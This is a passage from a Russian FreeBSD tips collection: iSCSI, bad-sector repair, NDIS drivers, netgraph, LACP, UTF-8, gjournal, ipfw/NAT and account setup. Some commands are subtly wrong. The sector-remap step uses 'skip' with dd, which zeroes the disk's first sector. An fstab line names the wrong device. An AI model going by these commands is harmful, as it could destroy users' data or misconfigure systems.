    называемом officeiscsi, и запускают сессию iscsi.
    
       # iscontrol -c /etc/iscsi.conf -n officeiscsi
    
    
    Как только вы выполните команду iscontrol, должно создаться новое устройство в каталоге /dev. 
    Для проверки выполним команду dmesg:
    
       # dmesg 
    
    Форматируем диск iSCSI
    
    Запустим sysinstall для форматирования обнаруженного устройства iSCSI:
    
       # sysinstall 
    
    Выбираем Custom > 3 Partition > Выбираем устройство iSCSI по имени da1. После
    форматирования вводим:
    
       # mkdir /iscsi
       # mount /dev/da1s1 /iscsi 
    
    Возможно вам понадобится обновить файл /etc/fstab:
    
       /dev/ad1s1 /iscsi ufs rw 3 3
    
     
    ----* Как избавиться от нечитаемых секторов на диске   [комментарии]
     
    В логе smartd появились подобные свидетельства наличия нечитаемых секторов на диске:
    
       smartd[798]: Device: /dev/ad5, 15 Currently unreadable (pending) sectors
       smartd[798]: Device: /dev/ad5, 15 Offline uncorrectable sectors
    
    SMART тестирование подтвердило подозрения:
    
       Запускаем фоновый тест диска, не мешающий основной работе:
          smartctl -t long /dev/ad5
       Ждем завершения периодически просматривая статус:
          smartctl -l selftest /dev/ad5
       В итоге смотрим содержимое лога, в самом конце вывода:
          smartctl -a /dev/ad5
       Имеем:
       # 1  Extended offline  Completed: read failure  90% 2916 10373954
    
    Выявляем полный список сбойных секторов, путем чтения всех данных с диска:
    
       dd if=/dev/ad5 of=/dev/null bs=512 conv=noerror,sync
    
    В один прекрасный момент появятся надписи вида:
    
       dd: /dev/ad5: Input/output error
       10373954+0 records in
       10373954+0 records out
       5311464448 bytes transferred in 2427.397393 secs (2188131 bytes/sec)
    
    В системном логе увидим:
    
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left)  LBA=10373954
       kernel: ad5: TIMEOUT - READ_DMA retrying (0 retries left) LBA=10373954
       ....
       kernel: ad5: FAILURE - READ_DMA timed out LBA=10374109
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left) LBA=10374113
    
    Проверяем, каждый участок еще раз:
    
       dd if=/dev/ad5 of=/dev/null bs=512 count=1 skip=10373954 conv=noerror,sync
    
    Смотрим какой файл в ФС подпадает под этот блок.
    
    Смотрим и примерно вычисляем номер раздела на который приходится сбойный сектор (LBA 10373954):
    
       fdisk -s /dev/ad5
    
       /dev/ad5: 775221 cyl 16 hd 63 sec
       Part        Start        Size Type Flags
       1:          63   398444067 0xa5 0x80
       2:   398444130   382973535 0xa5 0x80
    
    10373954 - 63 = 10373891
    
       disklabel /dev/ad5s1
    
       # /dev/ad5s1:
       8 partitions:
       #        size   offset    fstype   [fsize bsize bps/cpg]
         a:  2097152        0    4.2BSD     2048 16384 28552 
         b:  4194304  2097152      swap                    
         c: 398444067        0    unused    0  0 # "raw" part
         d:  2097152  6291456    4.2BSD     2048 16384 28552 
         e: 10485760  8388608    4.2BSD     2048 16384 28552 
         f: 104857600 18874368    4.2BSD     2048 16384 28552 
         g: 104857600 123731968    4.2BSD     2048 16384 28552 
         h: 162127234 228589568    4.2BSD     2048 16384 28552 
    
    Видим, что 10373891 приходится на раздел /dev/ad5s1e
    Расчитываем смещение относительно начала раздела:
    10373891 - 8388608 = 1985283
    
    Находим иноду, которой принадлежит заданный блок:
       fsdb -r /dev/ad5s1e
       findblk 1985283
    
    повторяем для каждого сбойного сектора 
    (для Linux нужно использовать debugfs - http://smartmontools.sourceforge.net/BadBlockHowTo.txt)
    
    Пытаемся записать данные в сбойный сектор, чтобы инициировать процесс
    ремапинга на диске.
    
        sysctl kern.geom.debugflags=16 # иначе будет dd: /dev/ad5: Operation not permitted)
        dd if=/dev/zero of=/dev/ad5 bs=512 count=1 skip=10373954 conv=noerror,sync
        sysctl kern.geom.debugflags=0
    
    Если после записи сектор начал читаться - все ok, 
    
    если нет - резервная область на диске уже заполнена, пробуем запретить
    обращещние окружающих секторов в ФС:
    
       man badsect
    
      /dev/ad5s1e примонтирован как /usr, создаем директорию /usr/BAD и выполняем
      badsect /usr/BAD 1985283
      fsck -y /dev/ad5s1e
    
    Полезные порты:
       /usr/ports/sysutils/recoverdm 
       /usr/ports/sysutils/diskcheckd
    
     
    ----* Настройка работы Dell Wireless 1390 WLAN Mini-PCI Card во FreeBSD (доп. ссылка 1) (доп. ссылка 2)   Автор: Sokolov Alexey  [комментарии]
     
    Драйвера для данного беспроводного адаптера в ядре FreeBSD на данный (март 2008) не существует,
    но я расскажу как сконвертировать windows-драйвера в ko-модуль.
    
    1. качаем официальный драйвер: 
    
    http://www.x-drivers.ru/component/option,com_remository/itemid,36/func,fileinfo/id,28277/
    
    2. конвертируем его:
    
       %ndisgen bcmwl5.inf bcmwl5.sys
    
    3. подгружаем полученный модуль:
    
       %kldload bcmwl5_sys.ko
    
    Пожалуйста:
    
       % ifconfig -l
       em0 lo0 ndis0
    
       ndis0 - появившийся wifi-интерфейс.
    
     
    ----* Как восстановить работу после ошибки с ldconfig во FreeBSD (доп. ссылка 1)   Автор: Mamoru  [комментарии]
     
    Пытаясь добавить библиотеку libnsl запустил следующее:
       ldconfig -m /usr/compat/linux/lib/
    теперь на любой ввод машина выдаёт:
       /libexec/ld-elf.so.1: Undefined symbol "__stdinp" referenced from COPY relocation in
    
    Для того чтобы вернуться к нормальной работе:
    1. грузимся в однопользовательский режим
    2. монтируем Var #>mount -rw /var
    3. правим хинты #>ldconfig /lib
    4. монтируем Usr #>mount -rw /usr
    5. добавляем для начального комплекта #>ldconfig -m /usr/lib и дальше по списку
    /var/run/ld-elf.so.hints:
            search directories: /lib:/usr/lib:/usr/lib/compat:/usr/X11R6/lib:/usr/local/lib:/usr/local/lib/compat:\
       /usr/local/lib/compat/pkg:/usr/local/lib/mysql:/usr/local/lib/apache2
    6. перегружаемся
    
    Если необходимо загрузить библиотеки имеющие права записи для 
    группы или с владельцом отличным от root, установите в YES для 
    отключения проверок безопасности ldconfig (опция -i).
           ldconfig_insecure="NO"
    
    Пути, по которым ищутся разделяемые библиотеки
        ldconfig_paths="/usr/lib/compat /usr/X11R6/lib /usr/local/lib \
        /usr/local/lib/compat/pkg /usr/compat/linux/lib"
    
    Пути, по которым ищутся разделяемые библиотеки a.out
        ldconfig_paths_aout="/usr/lib/compat/aout /usr/X11R6/lib/aout /usr/local/lib/aout"
    
     
    ----* Сброс буфера системных сообщений FreeBSD (доп. ссылка 1)   Автор: mr-tacitus  [комментарии]
     
    Сбросить буфер системных сообщений (вывод команды dmesg) можно с помощью sysctl:
    
       sysctl kern.msgbuf_clear=1
    
     
    ----* Ограничение скорости на интерфейсе средствами netgraph во FreeBSD (доп. ссылка 1)   Автор: Anton Yuzhaninov  [комментарии]
     
    Пример того как можно ограничить скорость на интерфейсе:
    
    #!/bin/sh
    
    kldload ng_ether
    kldload ng_car
    
    ngctl -f- <<-EOF
    mkpeer re0: car lower lower
    name re0:lower re0_car
    connect re0: re0_car: upper upper
    msg re0_car: setconf { upstream={ cbs=8192 ebs=65535 cir=100000 greenAction=1
    yellowAction=1 redAction=2 mode=2 } downstream={ cbs=8192 ebs=65535 cir=1000000
    greenAction=1 yellowAction=1 redAction=2 mode=2 } }
    EOF
    
    
    Если считать что к re0 у нас подключен клиент, то upstream это трафик от клиента в инет,
    downstream - трафик из инета к клиенту.
    
    cir - скорость в битах в секунду (в мане опечатка)
    
    mode=2 - это RED
    
    цифры для cbs/ebs взяты с потолка. Рекомендации по поводу этих 
    параметров можно поискать в инете по ключевым словам random early detection
    можно тут посмотреть например
    http://www.icir.org/floyd/REDparameters.txt
    
     
    ----* Остановка netgraph нод после mpd (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    С помощью этого маленького скрипта, можно выполнить освобождение netgraph нод, 
    которые оставляет за собой упавший в "корку" MPD3.
    
    #!/bin/sh
    
    for j in "" 1 2 3 4 5 6 7 8 9 10 11 12; do
      for i in 0 1 2 3 4 5 6 7 8 9; do
        echo $j$i
        ngctl shutdown ng$j$i:
        ngctl shutdown mpd$1-pptp$j$i:
      done
    done
    
     
    ----* Объединение сетевых интерфейсов при помощи протокола LACP во FreeBSD 7 (доп. ссылка 1)   Автор: s@sh@  [комментарии]
     
    Собираем ядро с поддержкой LACP (Link aggregation control protocol):
       device lagg
    
    Объединяем интерфейсы em0 и em1:
       ifconfig em0 up
       ifconfig em1 up
       ifconfig lagg0 create
       ifconfig lagg0 up laggproto lacp laggport em0 laggport em1
       ifconfig lagg0 10.10.10.18 netmask 255.255.255.0
       route add -net 0.0.0.0 10.10.10.1 0.0.0.0
    
    На Cisco и к каждому нужному интерфейсу прописываем:
       interface GigabitEthernet2/2
          .... 
          channel-protocol lacp
          channel-group 23 mode active
       
       interface GigabitEthernet2/16
          ....
          channel-protocol lacp
          channel-group 23 mode active
    
     
    ----* Установка неподдерживаемой сетевой карты ASUS NX1001 во FreeBSD 6.2   Автор: fenixfenix  [комментарии]
     
    При установке сетевой карточки Asus NX1001, я не смог обнаружить её при наборе
    команды ifconfig. А также в sysinstall->Configure->Networking.
    Первое, что мне пришло в голову конфликт с ACPI, после отключения в БИОСе ACPI -
    результатов никаких не дало. Поэтому пришлось заняться поисками решения
    этой проблемы копаясь в интернете, особо на сайте freebsd.org. Найдя похожую
    проблему работы с сетевой картой Asus NX1001 в FreeBSD 6.2, вот что в итоге 
    необходимо было сделать.
    
    Набрав команду pciconf -lv и найдя среди результатов вывода 
    
    "Sundance ST201 10/100BaseTX". 
    
    Мне пришлось дописать в файлах:
    /usr/src/sys/pci/if_ste.c
    /usr/src/sys/pci/if_stereg.h
    нижеследующее (строка AS_VENDORID...), в файле if_ste.c:
    
       static struct ste_type ste_devs[]={
          {ST_VENDORID, ST_DEVICEID_ST201,"Sundance ST201 10/100BaseTX"},
    
          {AS_VENDORID, AS_DEVICEID_NX1001,"ASUS NX1001 10/100BaseTX"},
    
         {DL_VENDORID, DL_DEVICEID_DL100050,"D-Link DL10050 10/100BaseTX"},
         {0,0,NULL}
       };
    
    
    в файле if_stereg.h:
    
       #define AS_VENDORID 0x13F0
       #define AS_DEVICEID_NX1001 0x0200
    
    После этого мы обязаны пересобрать наше старое ядро:
    
       cd /usr/src/sys/i386/conf/
       cp GENERIC GATEWAY
       ee GATEWAY
       config GATEWAY
       cd ../compile/GATEWAY
       make depend
       make
       make install
       shutdown -r now
    
    В итоге в нашем случае появляется сетевая карточка в устройствах как sto0.
    
     
    ----* Импорт паролей и пользователей из Linux в FreeBSD   Автор: bytestore  [комментарии]
     
    Копируем в текущую директорию passwd и shadow файлы из Linux. Запускаем:
        ./mkpasswd.pl > new.master.passwd
    
    Открываем файл new.master.passwd в текстовом редакторе и заменяем строки с
    описанием системных аккаунтов из /etc/master.passwd
    
    Копируем new.master.passwd в /etc. Делаем бэкап /etc/master.passwd.
    Перестраиваем хэши через запуск команды
    
       pwd_mkdb -p /etc/new.master.passwd
    
    Если всплыли ошибки повторяем запуск pwd_mkdb на бэкап файле, для отката изменений.
    
    
    
    Скрипт mkpasswd.pl
    
    #!/usr/local/bin/perl
    
    # Listing 21.1. Sample Perl Script to Convert 
    # a Linux User Database for Use in FreeBSD
    # Set the following to the location of bash on your FreeBSD 
    #machine (if installed),
    # or to /bin/csh to switch /bin/bash users to csh
    
    $newshell = "/bin/sh";
    
    open ( PASS, '< ./passwd' );
    @passwd = <PASS>;                  # Read in the passwd file
    close PASS;
    open ( SHAD, '< ./shadow' );
    @shadow = <SHAD>;                  # Read in the shadow file
    close SHAD;
    
    foreach $user (@shadow) {
        @sdata = split(/:/,$user);
        $passhash{$sdata[0]} = $sdata[1];  # Make a lookup table based on usernames
    }
    
    foreach $user (@passwd) {
        @pdata = split(/:/,$user);
        $pdata[6] = $newshell."n" if ($pdata[6] eq "/bin/bashn");
        $pdata[1] = $passhash{$pdata[0]};  # Replace the "x" with the password hash
        splice (@pdata,4,0,undef,"0","0"); # Splice in extra blank fields
    
        foreach (@pdata) {                 # Print the combined output line
    	    print "$_";
    	    print ":" unless ($_ =~ /n/);
        }
    }
    
    откуда взял скрипт непомню :(
    
     
    ----* 3 шага для перехода на UTF-8 во FreeBSD (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    1. в ~/.xinitrc пишем (именно сюда а не в /etc/profiles потому как
    системная консоль FreeBSD не поддерживает юникод, посему локаль сия
    будет использоваться только в иксах):
    
      export LANG='ru_RU.UTF-8'
      export LC_ALL='ru_RU.UTF-8'
    
    2. выполняем конвертацию содержимого файловой системы из koi8-r в
    UTF-8 (необходим порт converters/convmv):
    
       %convmv -f koi8-r -t UTF-8 путь_к_разделу/* --notest -r
    
    3. далее все зависит от терминала, если у вас что-то вроде
    gnome-terminal, то достаточно будет сменить кодировку в опциях на
    UTF-8, если же у вас что-то вроде xterm'а, тогда в ~/.Xresources
    необходимо будет поменять шрифт, например так (для этого шрифта
    необходим пакет x11-fonts/terminus-font):
    
       XTerm*font: -*-terminus-medium-*-*-*-*-*-*-*-*-iso10646-1
    
    для syscons(4) на i386:
    
    1. ставим sysutils/jfbterm и textproc/uim-m17nlib
    2. меняем стандартную переключалку языка с Shift+Space на Ctrl+\
       добавлением в ~/.uim
    
    	(define-key generic-on-key? "<Control>\\")
    	(define-key generic-off-key? "<Control>\\")
    
    3. ставим локаль и добавляем запуск uim-fep и jfbterm в ~/.profile
    	export LANG=ru_RU.UTF-8
    	exec jfbterm -e uim-fep
       или в ~/.login (для tcsh)
    	setenv LANG ru_RU.UTF-8
    	exec jfbterm -e uim-fep
    
    Для syscons(4), универсальный способ, неполный юникод:
    
    1. ставим шрифт и раскладку koi8-r в /etc/rc.conf
    
       # шрифт
       font8x8=koi8-r-8x8
       font8x14=koi8-r-8x14
       font8x16=koi8-r-8x16
       # раскладка
       keymap=ru.koi8-r
    
    2. ставим sysutils/screen, рекомендую более новый
       ftp://ftp.lissyara.su/users/Guest/screen.diff
    
    3. ставим локаль и добавляем запуск screen в ~/.profile (для sh)
    
       # экспортируем локаль и тип терминала
       export LANG=ru_RU.UTF-8 TERM=xterm
       # запускаем сессию 'desktop', если уже не запущена
       if ! screen -S desktop -ls | fgrep -q desktop; then
          screen -S desktop -dm
       fi
       # подсоединяемся к сессии 'desktop'
       if vidcontrol -i adapter >&- 2>&-
       then
          # в syscons используем локаль koi8-r
          LC_CTYPE=ru_RU.KOI8-R TERM=cons25r \
          exec screen -x desktop
       else
          # в X'ах используем дефолтную локаль
          exec screen -x desktop
       fi
    
    Примечание:
    
    Символы за пределами koi8-r будут отображаться как ??? (вопросики).
    Если хотите полный (многоязычный) юникод, то используйте способ с jfbterm.
    
     
    ----* Настройка управления FreeBSD сервера через COM порт (доп. ссылка 1)   Автор: LM  [комментарии]
     
    Что надо сделать на FreeBSD сервере:
    
    1. Подключаем COM1 кабель
    
    2. Заходим под root и пишем:
       echo "-Dh" > /boot.config
    
    3. В файле /etc/ttys заменяем строчку
       ttyd0 "/usr/libexec/getty std.9600" dialup off secure
    на
       ttyd0 "/usr/libexec/getty std.9600" vt100 on secure
    
    4. Перезагружаем FreeBSD.
    
    Что надо сделать на Windows XP машине (клиент):
    
    1. Start -> All Programs -> Accessories -> Communications -> HyperTerminal
    
    2. В открывшемся окне New Connections в поле Name пишем что нить типа freebsd-serial
    
    3. В окне Connect To выбираем номер ком-порта (к примеру COM1)
    
    4. В окне COMx Properties на вкладке Port Settings надо выставить следующие значения:
       Bits per second: 9600
       Data bits: 8
       Parity: None
       Stop bits: 1
       Flow control: Xon / Xoff
    и на жать на кнопку ОК
    
    5. Соединение установиться. Далее можно сохранить File -> Save.
    
    6. Можно работать.
    
    Что нужно сделать если в место Windows XP для управления используется соседняя FreeBSD машина:
    
    в зависимости от версии FreeBSD:
       cu -s 9600 -l /dev/cuad0
       cu -s 9600 -l /dev/cuaa0
    
    где cuaaX/cuaaX устройства ком порта
    
     
    ----* Обзор небольших полезных утилит под FreeBSD (доп. ссылка 1)   Автор: Денис Юсупов  [комментарии]
     Пришла мысль упорядочить немного список утилиток из портов, которые облегчают жизнь админа FreeBSD.
    • arpwatch - для мониторинга изменений mac/ip-адресов;
    • port-maintenance-tools - набор утилит для работы с портами (portupgrade, portinstall и др.);
    • portaudit - позволяет автоматически проверить перед установкой какого-либо порта, не числится ли он в базе уязвимостей.
    • screen - для работы с виртуальными консолями
    • mbmon, healthd для мониторинга температуры, вольтажа и оборотов
    • arping- "пингует" компьютеры arp-запросами, позволяя определить, находится ли комп в локальной сети даже если у последнего установлен файервол.
    • fastest_cvsup - нахождение самого быстрого cvsup сервера для обновления портов и/или сырцов системы.
    • cvsup-without-gui - собственно, сам клиент для обновления.
    • nmap - сетевой сканер портов.
    • sudo - для настройки рутовых привилегий, выдаваемых другим пользователям без необходимости сообщать рутовый пароль.
    • vim (vim-lite) - редактор. Совмещает удобства vi и привычки с "обычных" редакторов
    • yawho - показывает, кто сидит, откуда и что запущено и т.п. Напоминает "w", но поудобнее.
    • whowatch - очень удобная утилитка для просмотра в реальном времени процессов других залогиненных пользователей и элементарных операций (посылка сигналов kill, разлогинивание и т.д.)
    • mtr - утилита, обьединяющая наподобии виндового "pathping" команды traceroute и ping. Весьма удобна для проверки сети.
    • lynx-ssl - браузер с поддержкой ssl, работающий в текстовом режиме. Удобен. Полезен при проверке корректности html кода.
    • elinks - продвинутая версия lynx. Встроенный менеджер закачек, готовность к работе на русском языке без дополнительных телодвижений
    • ipcalc - Сетевой калькулятор. Противопоказан людям, готовящимся к сдачи CCNA и рассчитывающим все сети вручную ;-)
    • apg - Удобный генератор случайных паролей.
    • pwgen2 - Ещё один удобный генератор.
     
    ----* Почему некоторые rcNG-скрипты не останавливают процесс   Автор: minotaur  [комментарии]
     
    В ОС FreeBSD иногда появляется проблема, когда rcNG-скрипт запускает процесс 
    (процесс запускается нормально, pid-файл создается, с правами все в порядке),
     но не хочет его останавливать. Например, SpamAssassin:
    
      # /usr/local/etc/rc.d/sa-spamd start
      Starting spamd.
      # ls -l /var/run/spamd/spamd.pid
      -rw-r--r--  1 root  spamd  6  1 авг 08:37 spamd.pid
      # /usr/local/etc/rc.d/sa-spamd stop
      spamd not running? (check /var/run/spamd/spamd.pid)
    
    Причина проблемы не очевидна, решение находится из man ps: 
    если длина аргументов больше значения переменной ядра kern.
    ps_arg_cache_limit, то ps показывает не полную строку запуска процесса, 
    а лишь само имя процесса в квадратных скобках. И бывают случаи (как в SpamAssassin), 
    когда имя процесса не совпадает с именем в rcNG-скрипте (переменная name). 
    Поэтому rcNG-скрипт не обнаруживает запущенного ним процесса в выводе ps.
    
    Решение - увеличить значение переменной ядра kern.ps_arg_cache_limit в sysctl.conf.
    
    Замечание:
    
    Если в rc.conf в spamd_flags присутствует --debug, то rcNG-скрипт работать не будет, 
    потому что в этом случае вывод ps axww меняется. 
    Например вместо:
    
    68514  ??  Ss     0:11,27 /usr/local/bin/spamd --siteconfigpath=/usr/local/etc/mail/spamassassin 
       -x -d -l --max-conn-per-child=128 --timeout-tcp=10 --timeout-child=300 
       --pidfile=/var/run/spamd/spamd.pid --syslog=local0 --username=spamd --groupname=spamd
       --allowed-ips=127.0.0.0/8 --listen-ip=127.0.0.1 -d -r /var/run/spamd/spamd.pid (perl5.8.8)
    
    получаем
    
    68514  ??  Ss     0:11,27 /usr/local/bin/perl -T -w /usr/local/bin/spamd 
       --siteconfigpath=/usr/local/etc/mail/spamassassin -x -d -l --max-conn-per-child=128 
       --timeout-tcp=10 --timeout-child=300 --pidfile=/var/run/spamd/spamd.pid --syslog=local0 
       --username=spamd --groupname=spamd --allowed-ips=127.0.0.0/8 --listen-ip=127.0.0.1 --debug 
       received-header -d -r /var/run/spamd/spamd.pid 
    
    Решение этой проблемы - правка rc.subr, что есть дело нелегкое. И проще помнить про этот нюанс.
    
     
    ----* Инструкция по включению журналирования в UFS2. (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    Требуется создать журналируемую файловую систему UFS2 объемом более 1 Гб на FreeBSD 6.1-STABLE.
    
    Для начала необходимо обновить дерево исходных текстов (/usr/src) до стабильной версии.
    После чего переходим в каталог /usr/src и создаем там необходимые директории:
    
       # cd /usr/src
       # mkdir {sbin/geom/class/journal,sys/geom/journal,sys/modules/geom/geom_journal}
    
    Теперь качаем сам патч:
    
       # fetch http://people.freebsd.org/%7Epjd/patches/gjournal6.patch
    
    Накладываем его на исходные тексты:
    
       # patch < gjournal6.patch
    
    Компилируем и ставим geom_journal (возможно имеет смысл пересобрать весь мир):
    
    Далее есть два пути - пересобрать весь "мир" (см. файл /usr/src/UPDATING), либо
    пересобрать только то, что было модифицировано.
    Предпочтительней первый путь, однако можно обойтись и без него. Для этого
    пересоберите следующие утилиты
    (зайдя в нижеперечисленные каталоги и выполнив в каждом из них 'make; make install; make clean'):
    
       /usr/src/include/
       /usr/src/sbin/geom/class/
       /usr/src/sbin/mount/
    
    После чего добавляем в конфиг ядра строчку:
    
       options UFS_GJOURNAL
    
    Компилируем ядро, ставим, перезагружаемся...
    
    После перезагрузки подгружаем необходимый модуль командой
    
       # gjournal load
    
    либо:
    
       # kldload geom_journal.ko
    
    (команды эквивалентны)
    
    Далее нам необходимо размонтировать раздел, на который мы собираемся поставить журнал. 
    Пусть это будет '/dev/ad0s3d' и точка монтирования '/mnt/work':
    
       # umount -f /mnt/work
    
    Теперь собстенно "прикручиваем" журнал:
    
       # gjournal label /dev/ad0s3d
    
    Монтируем командой:
    
       # mount -o async,gjournal /dev/ad0s3d.journal /mnt/work
    
    NB! префикс '.journal' появляется при наличии в памяти модуля geom_journal.ko. 
    Поэтому, если вы захотите чтобы система автоматически монтировала раздел с поддержкой журнала: 
    пропишите в файл /boot/loader.conf строчку:
    
       geom_journal_load="YES"
    
    и соответствующую запись в fstab. Для данного примера она будет выглядеть так:
    
       /dev/ad0s3d.journal   /mnt/work   ufs   rw,async,journal   2   2
    
    Все, готово!
    
    (C) 2006 Sokolov Alexey <nullbsd at gmail.com>
    
     
    ----* Новый способ использования NDIS во FreeBSD 5.x и 6.x  (доп. ссылка 1)   Автор: Kond  [комментарии]
     
    Все статьи на opennet описывают создание модуля NDIS для FreeBSD старым методом:
       ndiscvt -i *.inf -s *.sys -o ndis_driver_data.h
    
    Данный способ уже давно устарел и теперь нужно использовать программу ndisgen.
    
    Например. Имеем файлы из комплекта Windows драйверов:
       Fw1130.bin -  Network interface firmware.
       FwRad16.bin -  Radio firmware.
       TNET1130.INF -  Driver information file.
       tnet1130.sys - Driver binary. 
    
    Старый способ:
    
       cd /sys/modules/ndis
       make depend
       make
       make install
       cd ../if_ndis
       ndiscvt -i TNET1130.INF -s tnet1130.sys  -f Fw1130.bin -o ndis_driver_data.h
       make depend
       make
       make install
       ndiscvt -f FwRad16.bin
       cp FwRad16.bin.ko /boot/kernel
       kldload FwRad16.bin
       kldload if_ndis
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       FwRad16.bin_load="YES"
       if_ndis_load="YES"
    
    Новый способ (не требует установки исходных текстов ядра):
       ndisgen
       ... отвечаем на интерактивные вопросы, на выходе получаем tnet1130_sys.ko
       cp tnet1130_sys.ko /boot/kernel/
       kldload ndis
       kldload if_ndis
       kldload tnet1130_sys
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       ndis_load="YES"
       if_ndis_load="YES"
       tnet1130_sys_load="YES"
    
     
    ----* Пример настройки ng_neflow для нескольких интерфейсов.   Автор: stalex  [комментарии]
     
    #cat ng5_netflow.sh
    
       #!/bin/sh
    
       kldload ng_netflow
       kldload ng_ether
       kldload ng_tee
       kldload ng_one2many
    
       /usr/sbin/ngctl -f- <<-SEQ
         mkpeer em2: tee lower right
         connect em2: em2:lower upper left
         name em2:lower em2_tee
         mkpeer  em2:lower netflow  right2left iface0
         name em2:lower.right2left netflow
         msg netflow: setifindex { iface=0 index=1 }
         connect em2:lower netflow: left2right iface1
         msg netflow: setifindex { iface=1 index=1 }
    
         mkpeer vlan254: tee lower right
         connect vlan254: vlan254:lower upper left
         name vlan254:lower vlan254_tee
         connect vlan254:lower netflow:  right2left iface3
         msg netflow: setifindex { iface=3 index=1 }
         connect vlan254:lower netflow: left2right iface4
         msg netflow: setifindex { iface=4 index=1 }
    
         mkpeer vlan22: tee lower right
         connect vlan22: vlan22:lower upper left
         name vlan22:lower vlan22_tee
         connect vlan22:lower netflow:  right2left iface5
         msg netflow: setifindex { iface=5 index=1 }
         connect vlan22:lower netflow: left2right iface6
         msg netflow: setifindex { iface=6 index=1 }
    
         mkpeer vlan21: tee lower right
         connect vlan21: vlan21:lower upper left
         name vlan21:lower vlan21_tee
         connect vlan21:lower netflow:  right2left iface7
         msg netflow: setifindex { iface=7 index=1 }
         connect vlan21:lower netflow: left2right iface8
         msg netflow: setifindex { iface=8 index=1 }
    
         mkpeer netflow: ksocket export inet/dgram/udp
         msg netflow:export connect inet/127.0.0.1:20001
       SEQ
    
     
    ----* В двух словах про включение NAT и Firewall в ОС FreeBSD (доп. ссылка 1)   Автор: hub.ru  [комментарии]
     
    Что бы поднять NAT и Firewall на FreeBSD надо:
    
    Скомпилировать ядро:
    Следующие строки нужно включить в /usr/src/sys/i386/conf/GENERIC файл конфигурации:
    
       options IPFIREWALL
       options IPDIVERT
       options IPFIREWALL_VERBOSE
       options IPFIREWALL_VERBOSE_LIMIT=10
       options DUMMYNET
       options TCP_DROP_SYNFIN
    
    Переходим в директорию /usr/src/
       make buildkernel KERNCONF=GENERIC
       make installkernel KERNCONF=GENERIC
    
    Следующие строки можно к примеру включить в rc.conf файл конфигурации:
    
       hostname="free"
       ifconfig_rl0="10.0.0.1"
       gateway_enable="YES"
       firewall_enable="YES"
       firewall_type="open"
       natd_enable="YES"
       natd_interface="rl0"
       natd_flags="-redirect_port tcp 10.0.0.10:80 80"
       tcp_extensions="NO"
       tcp_drop_synfin="YES"
       icmp_drop_redirect="YES"
       sendmail_enable="NONE"
    
    Для удаленного управления нужно добавить следующую строку:
       sshd_enable="YES"
    (возможно понадобится скопировать /etc/ssh/ssh_host_dsa_key.pub в /root/.ssh/authorized_keys
    
    Следующие строки можно включить в rc.firewall файл конфигурации (секция "open"):
    
       [Oo][Pp][Ee][Nn])
       oif="rl0"
       iif="tx0"
       oip="132.5.7.172"
       iip="10.0.0.1"
       lan="10.0.0.0/24"
       setup_loopback
       # allow all for LAN
       ${fwcmd} add 500 pass all from ${lan} to ${iip} via ${iif}
       ${fwcmd} add 550 pass all from ${iip} to ${lan} via ${iif}
       # download - 60K upload - 6K for all lan ip's
       ${fwcmd} add 600 pipe 1 ip from any to any in via ${oif}
       ${fwcmd} add 650 pipe 2 ip from any to any out via ${oif}
       # for selected ip's only
       # ${fwcmd} add 601 pipe 1 all from any to 10.0.0.10
       # ${fwcmd} add 651 pipe 2 all from 10.0.0.10 to any
       ${fwcmd} pipe 1 config bw 512Kbit/s
       ${fwcmd} pipe 2 config bw 48Kbit/s
       # dns setup
       ${fwcmd} add 770 pass tcp from any to ${oip} 53 setup
       ${fwcmd} add 780 pass udp from any domain to any
       ${fwcmd} add 790 pass udp from any to any domain
       # main setup
       ${fwcmd} add 800 pass tcp from any http,https,20-21,989-990 to any
       ${fwcmd} add 810 pass tcp from any to any http,https,20-21,989-990
       ${fwcmd} add 830 pass tcp from any pop3,pop3s,smtp,imap,imaps,aol to any
       ${fwcmd} add 840 pass tcp from any to any pop3,pop3s,smtp,imap,imaps,aol
       ${fwcmd} add 65000 deny ip from any to any
       ;;
     
    Где oip, oif - внешний интерфейс; iip, iif - внутренний; lan - внутренняя сеть.
    
    Такая конфигурация ipfw весьма параноидальна, и здесь приведена только в качестве примера. 
    На практике обычно нужен более открытый фаервол. 
    
     
    ----* Работа с DVD-RAM во FreeBSD как с жестким диском (доп. ссылка 1)   Автор: proff  [комментарии]
     
    Решение такое:
    
    1. сборка и инсталляция ядра с устройствами:
       device scbus
       device atapicam
       device cd
       device pass
    
    2. создание файлов устройств cd0, cd1 с помощью /dev/MAKEDEV
    
    3. disklabel -rw cd1c auto
    
    4. newfs cd1c
    4.1. Можно включить softupdates: tunefs -n enable cd1 
    
    5. mount /dev/cd1c /mnt/dvdram
    
    Все. Скорость записи ~ 1.2 Mb/s. 
    
     
    ----* Решение проблем подергиванием звука в FreeBSD   Автор: Roman Y. Bogdanov  [комментарии]
     
    Решение проблем с "лаганием", "залипанием", "подергиванием" звука для FreeBSD
    5.x при сильных нагрузках на ata систему:
    
    в /boot/loader.conf добавить строку 
    
       hint.pcm.0.buffersize="16384".
    
    Работает не со всеми звуковыми картами. Карточка с MediaForte чипом стала
    играть звук в 4 раза быстрее,
    на SoundBlaster 5.1 live все играет замечательно.
    
     
    ----* Создание снапшота UFS2 в FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
       mount -u -o snapshot ./snapshot_image /var
       mdconfig -a -t vnode -f ./snapshot_image -u 1
       mount -o ro /dev/md1 /mnt/snap
       ...
       umount /mnt/snap
       mdconfig -d -u 1
    
    Также можно использовать специализированную утилиту snapshot,
     представляющую собой фронтенд к mount и mdconfig.
    
     
    ----* Настройка эмуляции Linux во FreeBSD (доп. ссылка 1)   Автор: sTALker150379  [обсудить]
     
    Добавляем в /boot/loader.conf:
        linux_load="YES"
        linprocfs_load="YES"
    
    В /etc/fstab:
        linprocfs /compat/linux/proc linprocfs rw 0 0
    
    /etc/rc.conf
        linux_enable="YES"
    
    /etc/sysctl.conf
        kern.fallback_elf_brand=3
    
     
    ----* Создание пользователя для отключения компьютера в FreeBSD.   Автор: Stas_Dragon  [комментарии]
     
    Создание специальной учетной записи пользователя для отключения компьютера.
    
    Задача:
    
    Создать учетную запись пользователя, которому разрешено только отключать компьютер. ОС FreeBSD 5.2
    создать в папке /bin скрипт poweroff-shell со следующим содержанием:
    
       #!/bin/sh
       shutdown -p +2 Turn off by user $LOGNAME
